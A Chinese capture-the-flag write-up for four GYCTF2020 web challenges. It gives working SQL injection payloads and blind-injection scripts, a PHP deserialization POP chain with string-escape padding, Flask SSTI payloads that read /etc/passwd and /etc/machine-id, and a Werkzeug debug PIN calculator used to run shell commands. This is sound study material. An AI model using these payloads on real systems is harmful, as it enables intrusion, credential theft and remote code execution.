GYCTF2020(web)

GYCTF2020wp(web)

Blacklist

考点

  • handler代替select进行查询

题目

image-20260329210948370

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

1';show tables;#

image-20260329210956948

先尝试拼接绕过和编码绕过

1';
SET @sql = CONCAT('S','ELECT flag FROM `1919810931114514`');
PREPARE stmt FROM @sql;
EXECUTE stmt;
#
1';
PREPARE stmt FROM 73656c656374202a2066726f6d20466c616748657265;
EXECUTE stmt;
#

发现set/prepare都被过滤,那只能用handler了

handler命令查询规则

handler table_name open;handler table_name read first;handler table_name close;
handler table_name open;handler table_name read next;handler table_name close;

如何理解?

首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
首先打开数据库,开始循环读取,读取成功后进行关闭操作。

构造payload

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;

Ezsqli

考点

  • 布尔盲注

  • 无列名注入

题目

image-20260215120634823

好难好难

先试试常规payload,感觉过滤不少东西or,union,in都用不了

in过滤导致我们用不了information_schema,因此要考虑绕过。
这题可以替代information_schema的方式整理出来三种

sys.x$schema_flattened_keys
sys.x$schema_table_statistics_with_buffer
sys.schema_table_statistics_with_buffer

这里让ds帮忙整理下这三个的区别

视图名称 类型 数据格式 主要用途
sys.x$schema_flattened_keys 视图 原始格式(x$) 展示表的所有键(主键、外键、唯一键)的平面化信息
sys.x$schema_table_statistics_with_buffer 视图 原始格式(x$) 展示表的IO统计和缓冲池信息(原始字节数)
sys.schema_table_statistics_with_buffer 视图 格式化格式 展示表的IO统计和缓冲池信息(友好格式)
特性 x$schema_flattened_keys x$schema_table_statistics_with_buffer schema_table_statistics_with_buffer
获取表名 ✅ 有键的表 ✅ 活跃的表 ✅ 活跃的表
返回格式 原始字符串 原始字符串 格式化字符串
注入难度 简单 简单 稍难(含单位符号)
可靠性 中(依赖表结构) 高(依赖访问记录) 高(同左)
字符集 纯ASCII 纯ASCII 含数字+单位

但是,前两个都可以成功爆出2个表,但是第三个只能爆出users233333333333333表,爆不出flag的表

依旧ds发力

核心原因:两个视图的JOIN类型不同

1. sys.x$schema_table_statistics_with_buffer 的实现

sql

-- 简化版实现
SELECT 
    p.object_schema AS table_schema,
    p.object_name AS table_name,
    -- ... 统计字段
    b.allocated AS innodb_buffer_allocated
FROM 
    performance_schema.table_io_waits_summary_by_table p
    LEFT JOIN sys.x$innodb_buffer_stats_by_table b   -- LEFT JOIN!
        ON p.object_schema = b.object_schema 
        AND p.object_name = b.object_name

关键点:使用 LEFT JOIN,保留左表(performance_schema)的所有记录

2. sys.schema_table_statistics_with_buffer 的实现

sql

-- 查看真实定义
SHOW CREATE VIEW sys.schema_table_statistics_with_buffer;

-- 会发现它使用了 JOIN(相当于INNER JOIN)!
CREATE VIEW schema_table_statistics_with_buffer AS
SELECT 
    p.object_schema AS table_schema,
    p.object_name AS table_name,
    format_time(p.sum_timer_wait) AS total_latency,  -- 格式化
    -- ...
    format_bytes(b.allocated) AS innodb_buffer_allocated  -- 格式化
FROM 
    performance_schema.table_io_waits_summary_by_table p
    JOIN sys.x$innodb_buffer_stats_by_table b  -- 注意:这里是JOIN = INNER JOIN!
        ON p.object_schema = b.object_schema 
        AND p.object_name = b.object_name

关键点:使用 JOIN(即INNER JOIN),只返回两个表都有的记录

假设数据如下:

performance_schema.table_io_waits_summary_by_table(有IO统计的表):

table_schema table_name
test_db users233333333333333
test_db flag表

sys.x$innodb_buffer_stats_by_table(在缓冲池中的表):

table_schema table_name
test_db users233333333333333
test_db 其他表

情况分析

  • flag表:有IO统计(被查询过),但不在缓冲池
  • users233333333333333:既有IO统计,也在缓冲池中

不同JOIN的结果

  1. x$版本(LEFT JOIN)
-- 返回所有performance_schema中的表
users233333333333333  ✓(有IO统计+缓冲池)
flag表                ✓(只有IO统计,缓冲池为NULL)
  1. x$版本(INNER JOIN)
-- 只返回两个表都有的记录
users233333333333333  ✓(有IO统计+缓冲池)
flag表                ✗(只有IO统计,无缓冲池记录)

所以

✅ 优先使用 x$ 版本(不会漏表)
payload1 = "sys.x$schema_table_statistics_with_buffer"
payload2 = "sys.x$schema_flattened_keys"

# ❌ 避免使用非x$版本(可能漏表)
payload3 = "sys.schema_table_statistics_with_buffer"

如何获取表名?

贴一个大佬的脚本学习学习

import requests

url='		'

flag=''
for i in range(1,200):
    length=len(flag)
    min=32
    max=125
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            #if len(flag.strip())==length:
            #    exit()
            print(flag)
            break

        payload='if(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),%d,1))<%d,1,2)'%(i,j)
        #payload='1&&ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1))<%d'%(i,j)
        #payload='if(((select 1,%s)<(select * from f1ag_1s_h3r3_hhhhh)),1,2)'%(flag+chr(j))

        data={
            'id':payload
        }
        r=requests.post(url=url,data=data).text
        #print(r)

        if 'Nu1L' in r:
            max=j
        else :
            min=j

采用2分法进行布尔盲注

重点分析二分法利用

min = 32   # 可打印字符最小值(空格)
max = 125  # 可打印字符最大值('}')

while 1:
    j = min + (max - min) // 2  # 取中间值
    if min == j:  # 区间缩小到无法再分
        flag += chr(j)  # 找到目标字符
        print(flag)
        break

结合

r=requests.post(url=url,data=data).text
        #print(r)

        if 'Nu1L' in r:
            max=j
        else :
            min=j

第一个j=78.5,以j为中心把可打印字符分为两个区间,每次都能确定是大于j还是小于j的区间,每次判断完都会再次计算新的j作为正确区间的中间值

无列名注入

真是误闯天家,看到wp里有一句话

正常的无列名注入要么用到union,要么用到join,但是这题都给过滤了

不是,union和join我都还不会,硬着头皮继续看吧

用加括号逐位比较大小的方法,用到ascii位偏移

import requests

url='		'
payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(200):
    for i in range(32,128):
        hexchar=flag+chr(i)
        py=payload.format(hexchar)
        datas={'id':py}
        re=requests.post(url=url,data=datas)
        if 'Nu1L' in re.text:
            flag+=chr(i-1)
            print(flag)
            break

依旧ds师傅倾情讲解

题目过滤了UNION和JOIN,所以需要新思路。核心就是元组比较

-- MySQL允许直接比较两个行
SELECT (1,'a') > (1,'b')  -- 返回0 (False)
SELECT (1,'b') > (1,'a')  -- 返回1 (True)
SELECT (1,'a') = (1,'a')  -- 返回1 (True)

比较规则

  1. 从左到右逐列比较
  2. 第一列相等才比较第二列
  3. 字符串比较按字典序(b>a,c>b...)

再看回到payload

1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))

逐层拆解

  1. select \* from f1ag_1s_h3r3_hhhhh
    • 假设flag表有两列:id(int) 和 flag_content(varchar)
    • 返回所有行的所有列
  2. select 1,"{}"
    • 构造一个临时行:已知查询1时有正常回显,就让第一列是1(对应id列),第二列是构造的flag字符串
    • 例如:select 1,"flag{"
  3. (A) > (B)
    • 比较两个行
    • 先比第一列:1 和 真实id比较(一定通过)
    • 如果第一列相等,再比第二列

最后还有一步,得到flag全是大写要改成小写

这里我感觉上面的脚本太慢了,手动升级成二分法(结尾添加了转换成小写的方法)

import requests

url='http://594a548c-ca77-41f1-85a8-b0d42db55c9d.node5.buuoj.cn:81/'
payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(200):
    low = 32
    high = 128
    
    while low < high:
        mid = (low + high) // 2
        test_char = chr(mid)
        test_flag = flag + test_char
        py=payload.format(test_flag)
        datas={'id':py}   
        re=requests.post(url=url,data=datas)
        if 'Nu1L' in re.text:
            high = mid
        else:
            low = mid+1 

    real_char=chr(low-1) 
    flag+=real_char
    print(flag)
    if real_char=='}':
        break
result = flag.lower()
print(result)

确实快些

回头有空得学学union和join的常规无列名注入

Easyphp

知识点

  • 代码审计(sql查询)
  • php反序列化

题目

image-20260215141926532

尝试登录发现存在admin用户,爆破弱口令失败

源码没啥东西,考虑那一套流程

F12和源代码中都没有信息,考虑检查常用备份,`robots`协议,目录爆破,`git`泄露

发现/www.zip有文件下载,一共4个文件

index.php

<?php
require_once "lib.php";

if(isset($_GET['action'])){
	require_once(__DIR__."/".$_GET['action'].".php");
}
else{
	if($_SESSION['login']==1){
		echo "<script>window.location.href='./index.php?action=update'</script>";
	}
	else{
		echo "<script>window.location.href='./index.php?action=login'</script>";
	}
}
?>

login.php

<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>login</title>
<center>
	<form action="login.php" method="post" style="margin-top: 300">
		<h2>百万前端的用户信息管理系统</h2>
		<h3>半成品系统 留后门的程序员已经跑路</h3>
        		<input type="text" name="username" placeholder="UserName" required>
		<br>
		<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
		<br>
		<button style="margin-top:20;" type="submit">登录</button>
		<br>
		<img src='img/1.jpg'>大家记得做好防护</img>
		<br>
		<br>
<?php 
$user=new user();
if(isset($_POST['username'])){
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
		die("<br>Damn you, hacker!");
	}
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
		die("Damn you, hacker!");
	}
	$user->login();
}
?>
	</form>
</center>

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

?>

还有最重要的lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;  
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){       #目标
        return file_get_contents($this->nickname);//危 
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

代码太长太夸张了,第一次做光代码审计两个小时没搞明白

代码审计

发现lib.php有很多魔术方法,重点看这个文件

先从上往下看一遍

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

看到str_replace就已经做好字符逃逸的准备了,这场仗不好打

再往下看到

$mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
$this->id=$mysqli->login('select id,password from user where username=?');

User类的login方法里用$mysqli实例化了dbCtrl类,并且给这个类的login方法传参(?传了sql语句),那我们再看到dbCtrl类的login方法

public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;

行先看到第7行

$result = $this->mysqli->prepare($sql);

这行代码的作用是准备一个 SQL 语句用于执行,返回一个 statement 对象(预处理语句对象),这个sql语句也就是传参过来的select id,password from user where username=?

再到第8行

$stmt->bind_param('s', $this->name);

bind_param('s', $this->name)
's' 表示参数类型:s=字符串, i=整数, d=双精度, b=二进制

  • 将 PHP 变量绑定到预处理语句的占位符上
  • 可以防止 SQL 注入,因为参数值和 SQL 语句是分开处理的

第9行执行语句

$stmt->execute();

10到11

$stmt->bind_result($idResult, $passwordResult);
$stmt->fetch();

将查询结果的列绑定到 PHP 变量(这里sql语句默认是select id,password from user where username=?于是id是第一列,password是第二列)

再往下看连续3个if不知道该干嘛了

if ($this->token=='admin') {
    return $idResult;
        }
if (!$idResult) {
    echo('用户不存在!');
    return false;
        }
if (md5($this->password)!==$passwordResult) {
    echo('密码错误!');
    return false;
        }
$_SESSION['token']=$this->name;
return $idResult;

思路方向

先到此为止,看看我们最终目标反向推理

最终目标应该是update.php重点中的

if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

再去找哪里能让$_SESSION['login']===1

发现在lib.php中User类的login方法

if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;

需要$this->id为非空值,诶?想起来刚刚正向审计时看到

$mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');

把dbCtrl类login方法的返回值赋值给$this->id,那么目标就成了要让dbCtrl类login方法的返回值不为空,再进行审计,有返回值的地方就是刚刚三个if语句

if ($this->token=='admin') {
    return $idResult;
        }
if (!$idResult) {
    echo('用户不存在!');
    return false;
        }
if (md5($this->password)!==$passwordResult) {
    echo('密码错误!');
    return false;
        }
$_SESSION['token']=$this->name;
return $idResult;

要么$this->token=='admin'要么三个if全都不满足

但是

public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }

这里给\(this->token赋值的操作在__construct()中,刚开始User类的login方法中\)mysqli实例化dbCtrl类的时候就会触发,所以不能直接给token赋值为admin,那只能是第二种方法

需要满足两个条件

  1. SQL查询结果存在
  2. 查询出的第二列与$_POST['password']的md5相等

但是我们不知道查询结果第二列是什么(要是知道,直接首页登录不就好了)

wp提到了修改SQL语句为'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?'

这里“c4ca4238a0b923820dcc509a6f75849b”是字符1的md5值,然后我们$_POST['password']=1就ok了

但是咋修改SQL语句嘞?wp没说清楚,我也搞不懂

过一个春节再回来找ds请教,懂了,还是要倒推

dbCtrl类里的login方法将传入参数作为sql语句执行

public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);

我们尝试修改传入参数就可以执行任意sql语句

找一下能执行dbCtrl类的login方法的有两个地方

  1. User类的login方法,但是已经确定了SQL语句,直接排除
  2. Info的__call方法
public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }

我们让CtrlCase去实例化dbCtrl类,传入__call的第二个参数就是SQL语句

这里注意,__call方法接收两个参数:\(name*和*\)arguments\(name*是一个字符串,包含了被调用的方法名;*\)arguments是一个数组,包含了传递给方法的参数。

然后我们找哪里可以触发__call,找到User类的__toString方法

public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }

让nickname实例化Info,age作为参数传入(也就是__call方法接收的第二个参数,我们可以让他作为想要执行的SQL语句)

然后构造链子

UpdateHelper::__destruct => User::__toString => Info::__call => dbCtrl::login
<?php
class User
{
    public $age;
    public $nickname;  
}
class Info{
}
class UpdateHelper{
    public $sql;
}
class dbCtrl{
}
$a = new UpdateHelper();
$a -> sql = new User();
$a -> sql -> age = 'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$a -> sql -> nickname = new Info();
$a -> sql -> nickname -> CtrlCase = new dbCtrl();
echo serialize($a);

#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":0:{}}}}

看到利用点

public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));

假设传参age=aaa&nickname=ccc

O:4:"Info":3:{s:3:"age";s:3:"aaa";s:8:"nickname";s:3:"ccc";s:8:"CtrlCase";N;}

然后经过safe处理

这时候其实不知道该干嘛了,但是看到update里触发了User类的updtae方法

$users=new User();
$users->update();
public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

结合下面的getNewInfo方法

public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

但是这里只传入两个属性age和nickname,而我们的pop链还需要一个Ctrlcase属性,在看到safe(serialize(new Info($age,$nickname)));这种结构基本确定字符串逃逸

我们需要被safe(serialize(new Info()))处理后增加一个Ctrlcase属性,有一个的属性值为我们的payload,让nickname或者Ctrlcase等于payload都可以,放在age还是nickname里也可以视情况选择(被ds误导了,还以为非Ctrlcase不可)

开始操作

<?php
class Info{
    public $age='1';
    public $nickname='O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":0:{}}}}';
    public $Ctrlcase;
}
echo serialize(new Info($age,$nickname));

#O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:200:"O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":0:{}}}}";s:8:"Ctrlcase";N;}

我们先把";s:8:"Ctrlcase";添加到s:8:"nickname";s:200:"";s:8:"Ctrlcase";O:12:"UpdateHelper"

再统计nickname属性长度217,每包含一个union,safe处理后都可以往后挤出一个字符,所以增加217个union,再重新计算长度1302

<?php
$union=str_repeat("union", 217);
echo $union;
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":0:{}}}}&username=admin&password=1

image-20260222100350819

用户不存在...

发现CtrlCase一直被我当成Ctrlcase了...

改完之后还是不行,看wp发现都是把username和password放在序列化字符串里而不是分开post,试一试(记得根据字符数配union)

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

image-20260222102623029

但是没发现有flag啊,别急

往回看,我们的目标已经达成

User类的login方法

public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;

if($this->id)条件已经满足(看不懂的话跳转思路方向栏目)

只是if(isset($_POST['username'])&&isset($_POST['password']))还没满足

看到预处理的SQL语句

select id,password from user where username=?

参数来自

$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);

获取方式是

$this->name=$_POST['username'];

所以我们用admin组合任意密码在login.php(其中自动触发login方法)登录

image-20260222102720544

超长战线终于结束

但是回想一下前面post传递username和password的方法失败原因

应该是update.php没有触发那些方法,在此post传参也不会被接收到

不过也许可以试试在update传入的nickname中不加入username和password就和上次修改前一样,然后在login.php用admin/1登录

经验证并不行,update.php回显用户不存在,表示在这一步卡住了

if (!$idResult) {
            echo('用户不存在!');
            return false;

还是没有接收到post传递的username,就这样吧

最终payload

/update.php用POST传参

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

然后/login.php用admin加任意密码登录

FlaskApp

前置知识

要获取PIN码需要知道以下几点:

  • username:运行该Flask程序的用户名;

    {% for x in {}.__class__.__base__.__subclasses__() %}
    	{% if "warning" in x.__name__ %}
    		{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
    	{%endif%}
    {%endfor%}
    
    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flaskweb:x:1000:1000::/home/flaskweb:/bin/sh
    
    用户名:密码占位符:UID:GID:用户描述:家目录:登录Shell
    
    # 可登录的Shell包括:
    /bin/bash     # Bash
    /bin/sh       # Shell
    /bin/zsh      # Z Shell  
    /bin/dash     # Dash
    /bin/fish     # Fish
    /bin/tcsh     # TC Shell
    /bin/ksh      # Korn Shell
    
    # 不可登录的Shell:
    /sbin/nologin    # 不能登录
    /bin/false       # 立即返回false
    /usr/sbin/nologin # 不能登录
    

    本题用户名使用最后一行的flaskweb

  • modname:模块名,在报错页面可以看到;

  • getattr(app, '__name__', getattr(app.__class__, '__name__')):app名,默认为Flask;

  • getattr(mod, '__file__', None):Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc;

  • str(uuid.getnode()):MAC地址,需要转换成十进制,读取这两个地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address;

    {% for x in {}.__class__.__base__.__subclasses__() %}
    	{% if "warning" in x.__name__ %}
    		{{x.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read() }}
    	{%endif%}
    {%endfor%}
    
    12:28:e1:c1:92:7c
    去掉冒号,16进制转10进制
    得到19966795551356
    
  • get_machine_id():系统id;

    {% for x in {}.__class__.__base__.__subclasses__() %}
    	{% if "warning" in x.__name__ %}
    		{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}
    	{%endif%}
    {%endfor%}
    

题目

image-20260224191237220

法一:Debug-PIN

先试一试题目的功能,base64的加密解密,点击提示查看源代码提示:PIN

在base64解密栏输入1使其报错

image-20260224192401788

结合提示PIN猜测切入点在debug模式,按照前置知识中的内容依次获取信息,用脚本算出pin

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '19966795551356',# str(uuid.getnode()),  /sys/class/net/eth0/address
    '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

拿到pin后在报错界面或者/console进入debug模式

[console ready]
>>> import os
>>> os.popen('ls /').read()
'app\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\nthis_is_the_flag.txt\ntmp\nusr\nvar\n'  
>>> os.popen('cat /this*').read()
'flag{e5e89aee-e541-4e03-815f-4528e263bf90}\n'
